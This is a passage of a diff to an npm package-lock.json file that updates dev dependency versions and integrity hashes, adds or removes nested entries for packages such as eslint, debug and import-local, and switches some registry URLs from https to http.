- "resolved": "https://registry.npmjs.org/create-hmac/-/create-hmac-1.1.7.tgz",
+ "resolved": "http://registry.npmjs.org/create-hmac/-/create-hmac-1.1.7.tgz",
"integrity": "sha512-MJG9liiZ+ogc4TzUwuvbER1JRdgvUFSB5+VR/g5h82fGaIRWMWddtKBHi7/sVhfjQZ6SehlyhvQYrcYkaUIpLg==",
"dev": true,
"requires": {
@@ -3267,8 +3209,8 @@
"create-hmac": "1.1.7",
"diffie-hellman": "5.0.3",
"inherits": "2.0.3",
- "pbkdf2": "3.0.16",
- "public-encrypt": "4.0.2",
+ "pbkdf2": "3.0.17",
+ "public-encrypt": "4.0.3",
"randombytes": "2.0.6",
"randomfill": "1.0.4"
}
@@ -3468,6 +3410,52 @@
"integrity": "sha1-s2nW+128E+7PUk+RsHD+7cNXzzQ=",
"dev": true
},
+ "default-gateway": {
+ "version": "2.7.2",
+ "resolved": "https://registry.npmjs.org/default-gateway/-/default-gateway-2.7.2.tgz",
+ "integrity": "sha512-lAc4i9QJR0YHSDFdzeBQKfZ1SRDG3hsJNEkrpcZa8QhBfidLAilT60BDEIVUUGqosFp425KOgB3uYqcnQrWafQ==",
+ "dev": true,
+ "requires": {
+ "execa": "0.10.0",
+ "ip-regex": "2.1.0"
+ },
+ "dependencies": {
+ "cross-spawn": {
+ "version": "6.0.5",
+ "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz",
+ "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==",
+ "dev": true,
+ "requires": {
+ "nice-try": "1.0.5",
+ "path-key": "2.0.1",
+ "semver": "5.5.1",
+ "shebang-command": "1.2.0",
+ "which": "1.3.0"
+ }
+ },
+ "execa": {
+ "version": "0.10.0",
+ "resolved": "https://registry.npmjs.org/execa/-/execa-0.10.0.tgz",
+ "integrity": "sha512-7XOMnz8Ynx1gGo/3hyV9loYNPWM94jG3+3T3Y8tsfSstFmETmENCMU/A/zj8Lyaj1lkgEepKepvd6240tBRvlw==",
+ "dev": true,
+ "requires": {
+ "cross-spawn": "6.0.5",
+ "get-stream": "3.0.0",
+ "is-stream": "1.1.0",
+ "npm-run-path": "2.0.2",
+ "p-finally": "1.0.0",
+ "signal-exit": "3.0.2",
+ "strip-eof": "1.0.0"
+ }
+ },
+ "semver": {
+ "version": "5.5.1",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-5.5.1.tgz",
+ "integrity": "sha512-PqpAxfrEhlSUWge8dwIp4tZnQ25DIOthpiaHNIthsjEFQD6EvqUKUDM7L8O2rShkFccYo1VjJR0coWfNkCubRw==",
+ "dev": true
+ }
+ }
+ },
"define-properties": {
"version": "1.1.3",
"resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.1.3.tgz",
@@ -3583,9 +3571,9 @@
}
},
"detect-node": {
- "version": "2.0.3",
- "resolved": "https://registry.npmjs.org/detect-node/-/detect-node-2.0.3.tgz",
- "integrity": "sha1-ogM8CcyOFY03dI+951B4Mr1s4Sc=",
+ "version": "2.0.4",
+ "resolved": "https://registry.npmjs.org/detect-node/-/detect-node-2.0.4.tgz",
+ "integrity": "sha512-ZIzRpLJrOj7jjP2miAtgqIfmzbxa4ZOr5jJc601zklsfEx9oTzmmj2nVpIPRpNlRTIh8lc1kyViIY7BWSGNmKw==",
"dev": true
},
"di": {
@@ -3602,7 +3590,7 @@
},
"diffie-hellman": {
"version": "5.0.3",
- "resolved": "https://registry.npmjs.org/diffie-hellman/-/diffie-hellman-5.0.3.tgz",
+ "resolved": "http://registry.npmjs.org/diffie-hellman/-/diffie-hellman-5.0.3.tgz",
"integrity": "sha512-kqag/Nl+f3GwyK25fhUMYj81BUOrZ9IuJsjIcDE5icNM9FJHAVm3VcUDxdLPoQtTuUylWm6ZIknYJwwaPxsUzg==",
"dev": true,
"requires": {
@@ -3765,7 +3753,7 @@
},
"readable-stream": {
"version": "2.3.6",
- "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz",
+ "resolved": "http://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz",
"integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==",
"dev": true,
"requires": {
@@ -4090,16 +4078,16 @@
}
},
"eslint": {
- "version": "5.3.0",
- "resolved": "https://registry.npmjs.org/eslint/-/eslint-5.3.0.tgz",
- "integrity": "sha512-N/tCqlMKkyNvAvLu+zI9AqDasnSLt00K+Hu8kdsERliC9jYEc8ck12XtjvOXrBKu8fK6RrBcN9bat6Xk++9jAg==",
+ "version": "5.6.1",
+ "resolved": "https://registry.npmjs.org/eslint/-/eslint-5.6.1.tgz",
+ "integrity": "sha512-hgrDtGWz368b7Wqf+v1Z69O3ZebNR0+GA7PtDdbmuz4rInFVUV9uw7whjZEiWyLzCjVb5Rs5WRN1TAS6eo7AYA==",
"dev": true,
"requires": {
- "ajv": "6.5.2",
- "babel-code-frame": "6.26.0",
+ "@babel/code-frame": "7.0.0",
+ "ajv": "6.5.4",
"chalk": "2.4.1",
"cross-spawn": "6.0.5",
- "debug": "3.1.0",
+ "debug": "4.1.0",
"doctrine": "2.1.0",
"eslint-scope": "4.0.0",
"eslint-utils": "1.3.1",
@@ -4109,11 +4097,11 @@
"esutils": "2.0.2",
"file-entry-cache": "2.0.0",
"functional-red-black-tree": "1.0.1",
- "glob": "7.1.2",
- "globals": "11.7.0",
+ "glob": "7.1.3",
+ "globals": "11.8.0",
"ignore": "4.0.6",
"imurmurhash": "0.1.4",
- "inquirer": "5.2.0",
+ "inquirer": "6.2.0",
"is-resolvable": "1.1.0",
"js-yaml": "3.12.0",
"json-stable-stringify-without-jsonify": "1.0.1",
@@ -4126,49 +4114,60 @@
"path-is-inside": "1.0.2",
"pluralize": "7.0.0",
"progress": "2.0.0",
- "regexpp": "2.0.0",
+ "regexpp": "2.0.1",
"require-uncached": "1.0.3",
- "semver": "5.5.0",
- "string.prototype.matchall": "2.0.0",
+ "semver": "5.5.1",
"strip-ansi": "4.0.0",
"strip-json-comments": "2.0.1",
"table": "4.0.3",
"text-table": "0.2.0"
},
"dependencies": {
- "babel-code-frame": {
- "version": "6.26.0",
- "resolved": "https://registry.npmjs.org/babel-code-frame/-/babel-code-frame-6.26.0.tgz",
- "integrity": "sha1-Y/1D99weO7fONZR9uP42mj9Yx0s=",
+ "@babel/code-frame": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.0.0.tgz",
+ "integrity": "sha512-OfC2uemaknXr87bdLUkWog7nYuliM9Ij5HUcajsVcMCpQrcLmtxRbVFTIqmcSkSeYRBFBRxs2FiUqFJDLdiebA==",
"dev": true,
"requires": {
- "chalk": "1.1.3",
+ "@babel/highlight": "7.0.0"
+ }
+ },
+ "@babel/highlight": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.0.0.tgz",
+ "integrity": "sha512-UFMC4ZeFC48Tpvj7C8UgLvtkaUuovQX+5xNWrsIoMG8o2z+XFKjKaN9iVmS84dPwVN00W4wPmqvYoZF3EGAsfw==",
+ "dev": true,
+ "requires": {
+ "chalk": "2.4.1",
"esutils": "2.0.2",
- "js-tokens": "3.0.2"
- },
- "dependencies": {
- "chalk": {
- "version": "1.1.3",
- "resolved": "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz",
- "integrity": "sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=",
- "dev": true,
- "requires": {
- "ansi-styles": "2.2.1",
- "escape-string-regexp": "1.0.5",
- "has-ansi": "2.0.0",
- "strip-ansi": "3.0.1",
- "supports-color": "2.0.0"
- }
- },
- "strip-ansi": {
- "version": "3.0.1",
- "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz",
- "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=",
- "dev": true,
- "requires": {
- "ansi-regex": "2.1.1"
- }
- }
+ "js-tokens": "4.0.0"
+ }
+ },
+ "ajv": {
+ "version": "6.5.4",
+ "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.5.4.tgz",
+ "integrity": "sha512-4Wyjt8+t6YszqaXnLDfMmG/8AlO5Zbcsy3ATHncCzjW/NoPzAId8AK6749Ybjmdt+kUY1gP60fCu46oDxPv/mg==",
+ "dev": true,
+ "requires": {
+ "fast-deep-equal": "2.0.1",
+ "fast-json-stable-stringify": "2.0.0",
+ "json-schema-traverse": "0.4.1",
+ "uri-js": "4.2.2"
+ }
+ },
+ "ansi-regex": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz",
+ "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=",
+ "dev": true
+ },
+ "ansi-styles": {
+ "version": "3.2.1",
+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
+ "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
+ "dev": true,
+ "requires": {
+ "color-convert": "1.9.0"
}
},
"chalk": {
@@ -4179,27 +4178,7 @@
"requires": {
"ansi-styles": "3.2.1",
"escape-string-regexp": "1.0.5",
- "supports-color": "5.4.0"
- },
- "dependencies": {
- "ansi-styles": {
- "version": "3.2.1",
- "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
- "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
- "dev": true,
- "requires": {
- "color-convert": "1.9.0"
- }
- },
- "supports-color": {
- "version": "5.4.0",
- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz",
- "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==",
- "dev": true,
- "requires": {
- "has-flag": "3.0.0"
- }
- }
+ "supports-color": "5.5.0"
}
},
"cross-spawn": {
@@ -4208,20 +4187,20 @@
"integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==",
"dev": true,
"requires": {
- "nice-try": "1.0.4",
+ "nice-try": "1.0.5",
"path-key": "2.0.1",
- "semver": "5.5.0",
+ "semver": "5.5.1",
"shebang-command": "1.2.0",
"which": "1.3.0"
}
},
"debug": {
- "version": "3.1.0",
- "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz",
- "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==",
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.0.tgz",
+ "integrity": "sha512-heNPJUJIqC+xB6ayLAMHaIrmN9HKa7aQO8MGqKpvCA+uJYVcvR6l5kgdrhRuwPFHU7P5/A1w0BjByPHwpfTDKg==",
"dev": true,
"requires": {
- "ms": "2.0.0"
+ "ms": "2.1.1"
}
},
"eslint-scope": {
@@ -4240,10 +4219,16 @@
"integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==",
"dev": true
},
+ "fast-deep-equal": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-2.0.1.tgz",
+ "integrity": "sha1-ewUhjd+WZ79/Nwv3/bLLFf3Qqkk=",
+ "dev": true
+ },
"globals": {
- "version": "11.7.0",
- "resolved": "https://registry.npmjs.org/globals/-/globals-11.7.0.tgz",
- "integrity": "sha512-K8BNSPySfeShBQXsahYB/AbbWruVOTyVpgoIDnl8odPpeSfP2J5QO2oLFFdl2j7GfDCtZj2bMKar2T49itTPCg==",
+ "version": "11.8.0",
+ "resolved": "https://registry.npmjs.org/globals/-/globals-11.8.0.tgz",
+ "integrity": "sha512-io6LkyPVuzCHBSQV9fmOwxZkUk6nIaGmxheLDgmuFv89j0fm2aqDbIXKAGfzCMHqz3HLF2Zf8WSG6VqMh2qFmA==",
"dev": true
},
"has-flag": {
@@ -4252,6 +4237,12 @@
"integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=",
"dev": true
},
+ "js-tokens": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz",
+ "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==",
+ "dev": true
+ },
"js-yaml": {
"version": "3.12.0",
"resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.12.0.tgz",
@@ -4262,10 +4253,16 @@
"esprima": "4.0.1"
}
},
- "lodash": {
- "version": "4.17.10",
- "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz",
- "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==",
+ "json-schema-traverse": {
+ "version": "0.4.1",
+ "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
+ "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==",
+ "dev": true
+ },
+ "ms": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz",
+ "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==",
"dev": true
},
"progress": {
@@ -4275,9 +4272,9 @@
"dev": true
},
"semver": {
- "version": "5.5.0",
- "resolved": "https://registry.npmjs.org/semver/-/semver-5.5.0.tgz",
- "integrity": "sha512-4SJ3dm0WAwWy/NVeioZh5AntkdJoWKxHxcmyP622fOkgHa4z3R0TdBJICINyaSDE6uNwVc8gZr+ZinwZAH4xIA==",
+ "version": "5.5.1",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-5.5.1.tgz",
+ "integrity": "sha512-PqpAxfrEhlSUWge8dwIp4tZnQ25DIOthpiaHNIthsjEFQD6EvqUKUDM7L8O2rShkFccYo1VjJR0coWfNkCubRw==",
"dev": true
},
"strip-ansi": {
@@ -4287,22 +4284,23 @@
"dev": true,
"requires": {
"ansi-regex": "3.0.0"
- },
- "dependencies": {
- "ansi-regex": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz",
- "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=",
- "dev": true
- }
+ }
+ },
+ "supports-color": {
+ "version": "5.5.0",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
+ "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
+ "dev": true,
+ "requires": {
+ "has-flag": "3.0.0"
}
}
}
},
"eslint-loader": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/eslint-loader/-/eslint-loader-2.1.0.tgz",
- "integrity": "sha512-f4A/Yk7qF+HcFSz5Tck2QoKIwJVHlX0soJk5MkROYahb5uvspad5Ba60rrz4u/V2/MEj1dtp/uBi6LlLWVaY7Q==",
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/eslint-loader/-/eslint-loader-2.1.1.tgz",
+ "integrity": "sha512-1GrJFfSevQdYpoDzx8mEE2TDWsb/zmFuY09l6hURg1AeFIKQOvZ+vH0UPjzmd1CZIbfTV5HUkMeBmFiDBkgIsQ==",
"dev": true,
"requires": {
"loader-fs-cache": "1.0.1",
@@ -4366,7 +4364,7 @@
"integrity": "sha512-kapdTCt1bjmspxStVKX6huolXVV5ZfyZguY1lcfhVVZstce3bqxH9mcLzNn3/mlgW6wQ732+0fuG9v7h0ZQoKg==",
"dev": true,
"requires": {
- "acorn": "5.7.1",
+ "acorn": "5.7.3",
"acorn-jsx": "4.1.1"
}
},
@@ -4420,7 +4418,7 @@
},
"events": {
"version": "1.1.1",
- "resolved": "https://registry.npmjs.org/events/-/events-1.1.1.tgz",
+ "resolved": "http://registry.npmjs.org/events/-/events-1.1.1.tgz",
"integrity": "sha1-nr23Y1rQmccNzEwqH1AEKI6L2SQ=",
"dev": true
},
@@ -4439,7 +4437,7 @@
"integrity": "sha512-/f2Go4TognH/KvCISP7OUsHn85hT9nUkxxA9BEWxFn+Oj9o8ZNLm/40hdlgSLyuOimsrTKLUMEorQexp/aPQeA==",
"dev": true,
"requires": {
- "md5.js": "1.3.4",
+ "md5.js": "1.3.5",
"safe-buffer": "5.1.1"
}
},
@@ -4524,7 +4522,7 @@
},
"express": {
"version": "4.16.3",
- "resolved": "https://registry.npmjs.org/express/-/express-4.16.3.tgz",
+ "resolved": "http://registry.npmjs.org/express/-/express-4.16.3.tgz",
"integrity": "sha1-avilAjUNsyRuzEvs9rWjTSL37VM=",
"dev": true,
"requires": {
@@ -4595,7 +4593,7 @@
},
"finalhandler": {
"version": "1.1.1",
- "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.1.1.tgz",
+ "resolved": "http://registry.npmjs.org/finalhandler/-/finalhandler-1.1.1.tgz",
"integrity": "sha512-Y1GUDo39ez4aHAw7MysnUD5JzYX+WaIj8I57kO3aEPT1fFRL4sr7mjei97FgnwhAyyzRYmQZaTHb2+9uZ1dPtg==",
"dev": true,
"requires": {
@@ -4694,14 +4692,25 @@
}
},
"external-editor": {
- "version": "2.2.0",
- "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-2.2.0.tgz",
- "integrity": "sha512-bSn6gvGxKt+b7+6TKEv1ZycHleA7aHhRHyAqJyp5pbUFuYYNIzpZnQDk7AsYckyWdEnTeAnay0aCy2aV6iTk9A==",
+ "version": "3.0.3",
+ "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-3.0.3.tgz",
+ "integrity": "sha512-bn71H9+qWoOQKyZDo25mOMVpSmXROAsTJVVVYzrrtol3d4y+AsKjf4Iwl2Q+IuT0kFSQ1qo166UuIwqYq7mGnA==",
"dev": true,
"requires": {
- "chardet": "0.4.2",
- "iconv-lite": "0.4.18",
+ "chardet": "0.7.0",
+ "iconv-lite": "0.4.24",
"tmp": "0.0.33"
+ },
+ "dependencies": {
+ "iconv-lite": {
+ "version": "0.4.24",
+ "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz",
+ "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==",
+ "dev": true,
+ "requires": {
+ "safer-buffer": "2.1.2"
+ }
+ }
}
},
"extglob": {
@@ -4789,27 +4798,6 @@
"websocket-driver": "0.7.0"
}
},
- "fbjs": {
- "version": "0.8.17",
- "resolved": "https://registry.npmjs.org/fbjs/-/fbjs-0.8.17.tgz",
- "integrity": "sha1-xNWY6taUkRJlPWWIsBpc3Nn5D90=",
- "requires": {
- "core-js": "1.2.7",
- "isomorphic-fetch": "2.2.1",
- "loose-envify": "1.3.1",
- "object-assign": "4.1.1",
- "promise": "7.3.1",
- "setimmediate": "1.0.5",
- "ua-parser-js": "0.7.18"
- },
- "dependencies": {
- "core-js": {
- "version": "1.2.7",
- "resolved": "https://registry.npmjs.org/core-js/-/core-js-1.2.7.tgz",
- "integrity": "sha1-ZSKUwUZR2yj6k70tX/KYOk8IxjY="
- }
- }
- },
"fd-slicer": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/fd-slicer/-/fd-slicer-1.0.1.tgz",
@@ -4980,7 +4968,7 @@
},
"readable-stream": {
"version": "2.3.6",
- "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz",
+ "resolved": "http://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz",
"integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==",
"dev": true,
"requires": {
@@ -5107,7 +5095,7 @@
},
"readable-stream": {
"version": "2.3.6",
- "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz",
+ "resolved": "http://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz",
"integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==",
"dev": true,
"requires": {
@@ -6107,7 +6095,7 @@
},
"get-stream": {
"version": "3.0.0",
- "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-3.0.0.tgz",
+ "resolved": "http://registry.npmjs.org/get-stream/-/get-stream-3.0.0.tgz",
"integrity": "sha1-jpQ9E1jcN1VQVOy+LtsFqhdO3hQ=",
"dev": true
},
@@ -6127,9 +6115,9 @@
}
},
"glob": {
- "version": "7.1.2",
- "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz",
- "integrity": "sha1-wZyd+aAocC1nhhI4SmVSQExjbRU=",
+ "version": "7.1.3",
+ "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.3.tgz",
+ "integrity": "sha512-vcfuiIxogLV4DlGBHIUOwI0IbrJ8HWPc4MU7HzviGeNho/UJDfi6B5p3sHeWIQ0KGIU0Jpxi5ZHxemQfLkkAwQ==",
"dev": true,
"requires": {
"fs.realpath": "1.0.0",
@@ -6179,7 +6167,7 @@
"globals": {
"version": "9.18.0",
"resolved": "https://registry.npmjs.org/globals/-/globals-9.18.0.tgz",
- "integrity": "sha1-qjiWs+abSH8X4x7SFD1pqOMMLYo=",
+ "integrity": "sha512-S0nG3CLEQiY/ILxqtztTWH/3iRRdyBLw6KMDxnKMchrtbj2OFmehVh0WUCfW3DUrIgx/qFrJPICrq4Z4sTR9UQ==",
"dev": true
},
"globby": {
@@ -6190,7 +6178,7 @@
"requires": {
"array-union": "1.0.2",
"arrify": "1.0.1",
- "glob": "7.1.2",
+ "glob": "7.1.3",
"object-assign": "4.1.1",
"pify": "2.3.0",
"pinkie-promise": "2.0.1"
@@ -6436,7 +6424,7 @@
"history": {
"version": "4.7.2",
"resolved": "https://registry.npmjs.org/history/-/history-4.7.2.tgz",
- "integrity": "sha1-IrXH8xYzxbgCHH9KipVKwTnujVs=",
+ "integrity": "sha512-1zkBRWW6XweO0NBcjiphtVJVsIQ+SXF29z9DVkceeaSLVMFXHool+fdCZD4spDCfZJCILPILc3bm7Bc+HRi0nA==",
"requires": {
"invariant": "2.2.2",
"loose-envify": "1.3.1",
@@ -6509,7 +6497,7 @@
},
"readable-stream": {
"version": "2.3.6",
- "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz",
+ "resolved": "http://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz",
"integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==",
"dev": true,
"requires": {
@@ -6679,7 +6667,7 @@
},
"http-proxy-middleware": {
"version": "0.18.0",
- "resolved": "https://registry.npmjs.org/http-proxy-middleware/-/http-proxy-middleware-0.18.0.tgz",
+ "resolved": "http://registry.npmjs.org/http-proxy-middleware/-/http-proxy-middleware-0.18.0.tgz",
"integrity": "sha512-Fs25KVMPAIIcgjMZkVHJoKg9VcXcC1C8yb9JUgeDvVXY0S/zgVIhMb+qVswDIgtJe2DfckMSY2d6TuTEutlk6Q==",
"dev": true,
"requires": {
@@ -6957,12 +6945,6 @@
"integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==",
"dev": true
},
- "lodash": {
- "version": "4.17.10",
- "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz",
- "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==",
- "dev": true
- },
"micromatch": {
"version": "3.1.10",
"resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz",
@@ -7006,7 +6988,7 @@
"iconv-lite": {
"version": "0.4.18",
"resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.18.tgz",
- "integrity": "sha1-I9hlaxaq5nQqwpcy6o8DNqR4nPI="
+ "integrity": "sha512-sr1ZQph3UwHTR0XftSbK85OvBbxe/abLGzEnPENCQwmHf7sck8Oyu4ob3LgBxWWxRoM+QszeUyl7jbqapu2TqA=="
},
"icss-replace-symbols": {
"version": "1.1.0",
@@ -7042,13 +7024,73 @@
"dev": true
},
"import-local": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/import-local/-/import-local-1.0.0.tgz",
- "integrity": "sha512-vAaZHieK9qjGo58agRBg+bhHX3hoTZU/Oa3GESWLz7t1U62fk63aHuDJJEteXoDeTCcPmUT+z38gkHPZkkmpmQ==",
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/import-local/-/import-local-2.0.0.tgz",
+ "integrity": "sha512-b6s04m3O+s3CGSbqDIyP4R6aAwAeYlVq9+WUWep6iHa8ETRf9yei1U48C5MmfJmV9AiLYYBKPMq/W+/WRpQmCQ==",
"dev": true,
"requires": {
- "pkg-dir": "2.0.0",
+ "pkg-dir": "3.0.0",
"resolve-cwd": "2.0.0"
+ },
+ "dependencies": {
+ "find-up": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz",
+ "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==",
+ "dev": true,
+ "requires": {
+ "locate-path": "3.0.0"
+ }
+ },
+ "locate-path": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz",
+ "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==",
+ "dev": true,
+ "requires": {
+ "p-locate": "3.0.0",
+ "path-exists": "3.0.0"
+ }
+ },
+ "p-limit": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.0.0.tgz",
+ "integrity": "sha512-fl5s52lI5ahKCernzzIyAP0QAZbGIovtVHGwpcu1Jr/EpzLVDI2myISHwGqK7m8uQFugVWSrbxH7XnhGtvEc+A==",
+ "dev": true,
+ "requires": {
+ "p-try": "2.0.0"
+ }
+ },
+ "p-locate": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz",
+ "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==",
+ "dev": true,
+ "requires": {
+ "p-limit": "2.0.0"
+ }
+ },
+ "p-try": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.0.0.tgz",
+ "integrity": "sha512-hMp0onDKIajHfIkdRk3P4CdCmErkYAxxDtP3Wx/4nZ3aGlau2VKh3mZpcuFkH27WQkL/3WBCPOktzA9ZOAnMQQ==",
+ "dev": true
+ },
+ "path-exists": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz",
+ "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=",
+ "dev": true
+ },
+ "pkg-dir": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-3.0.0.tgz",
+ "integrity": "sha512-/E57AYkoeQ25qkxMj5PBOVgF8Kiu/h7cYS30Z5+R7WaiCCBfLq58ZI/dSeaEKb9WVJV5n/03QwrN3IeWIFllvw==",
+ "dev": true,
+ "requires": {
+ "find-up": "3.0.0"
+ }
+ }
}
},
"imurmurhash": {
@@ -7089,21 +7131,21 @@
"dev": true
},
"inquirer": {
- "version": "5.2.0",
- "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-5.2.0.tgz",
- "integrity": "sha512-E9BmnJbAKLPGonz0HeWHtbKf+EeSP93paWO3ZYoUpq/aowXvYGjjCSuashhXPpzbArIjBbji39THkxTz9ZeEUQ==",
+ "version": "6.2.0",
+ "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-6.2.0.tgz",
